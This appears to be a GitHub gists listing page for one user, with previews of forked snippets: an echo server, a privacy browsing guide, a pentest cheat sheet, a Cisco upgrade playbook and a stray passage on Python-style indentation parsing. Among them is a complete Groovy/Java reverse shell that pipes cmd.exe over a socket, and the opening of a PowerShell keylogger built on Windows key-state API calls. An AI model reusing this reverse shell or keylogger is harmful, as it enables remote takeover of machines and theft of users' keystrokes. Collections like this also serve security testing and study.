Skip to content

Instantly share code, notes, and snippets.

@pr0b3r7
pr0b3r7 / echo.py
Created February 10, 2019 15:23 — forked from solusipse/echo.py
Simple echo server written in pure Python
# Example of simple echo server
# www.solusipse.net
import socket
def listen():
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
connection.bind(('0.0.0.0', 5555))
connection.listen(10)
@pr0b3r7
pr0b3r7 / gist:9589ebed436e4e80d849f383cd5195d3
Created November 20, 2019 22:41 — forked from atcuno/gist:3425484ac5cce5298932
HowTo: Privacy & Security Conscious Browsing

The purpose of this document is to make recommendations on how to browse in a privacy and security conscious manner. This information is compiled from a number of sources, which are referenced throughout the document, as well as my own experiences with the described technologies.

I welcome contributions and comments on the information contained. Please see the How to Contribute section for information on contributing your own knowledge.

Table of Contents

@pr0b3r7
pr0b3r7 / revsh.groovy
Created September 13, 2020 00:38 — forked from frohoff/revsh.groovy
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@pr0b3r7
pr0b3r7 / webapppentest
Created April 7, 2021 14:30 — forked from stevenswafford/webapppentest
Web Application Pentest Cheat Sheet
=== http status codes ===================================================
1xx Informational
100 Continue
101 Switching Protocols
102 Processing (WebDAV; RFC 2518)
2xx Success
200 OK
201 Created
@pr0b3r7
pr0b3r7 / gist:478a8e2671ab6abf6ccb0f788631f068
Created June 12, 2021 15:58 — forked from dasgoll/gist:7ca1c059dd3b3fbc7277
Simple Windows Keylogger using PowerShell
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]

Certain languages like Python use leading indentation to denote blocks. Wouldn't it be nice if a Marpa frontend like the IRIF would have support for this? Well, the problem is that implementing the Off-side Rule is similarly difficult to implementing here-docs: both are non-context free constructs, but are easy to implement by maintaining state in the scanner.

Consider this piece of Python code:

def foo(x, y):
    return x + (2*
y)

foo(1, 2) #=> 5
@pr0b3r7
pr0b3r7 / cisco_ios_upgrade.yml
Created July 15, 2021 14:45 — forked from craigarms/cisco_ios_upgrade.yml
Ansible Playbook for loading IOS to cisco Device Flash and copying to other stack members
---
- hosts: enterprise_l2
gather_facts: false
connection: local
vars:
models:
"WS-C2960XR-48FPD-I":
ios_version: "15.2(7)E0a"
ios_path: "IOS/"